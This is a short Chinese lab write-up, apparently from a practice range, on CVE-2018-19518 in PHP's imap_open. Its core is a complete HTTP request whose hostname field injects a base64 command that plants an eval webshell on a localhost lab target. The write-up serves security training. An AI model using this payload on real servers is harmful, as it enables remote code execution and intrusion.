【春秋云境】CVE-2018-19518 php imap扩展在PHP中执行邮件收发操作时其，map_open函数会调用rsh来连接远程shell

原创已于 2025-12-10 11:20:19 修改 · 275 阅读

0 ·

本内容遵循CC 4.0 BY-SA版权协议

GEO检测

标签

#安全漏洞 #漏洞复测

于 2025-11-03 16:07:42 首次发布

靶场WP 同时被 2 个专栏收录

21 篇文章

订阅专栏

web安全

20 篇文章

订阅专栏

一、靶场介绍

php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell，而debian/ubuntu中默认使用ssh来代替rsh的功能（也就是说，在debian系列系统中，执行rsh命令实际执行的是ssh命令）。

在这里插入图片描述

二、POC

首先上传这样一个webshell数据包，base64编码（因为为了能让我获取关注量，我要把数据包放到最后，请关注我，谢谢啦）
在这里插入图片描述
从webnshell中读取flag

在这里插入图片描述
这个是数据包，感谢您的关注。

POST / HTTP/1.1
Host: 127.0.0.1:13440
Content-Length: 154
Cache-Control: max-age=0
Origin: http://127.0.0.1:13440
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://127.0.0.1:13440
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

hostname=x+-oProxyCommand%3decho%09ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbImNtZCJdKTsnID4gL3Zhci93d3cvaHRtbC9hLnBocA==|base64%09-d|sh}a&username=222&password=333

三、总结

一个月后发现这个文章写的很乱，没有条理，就感觉不是我写的一样，但这确确实实是我写的，我写这篇文章是偷懒了，现在再优化一下。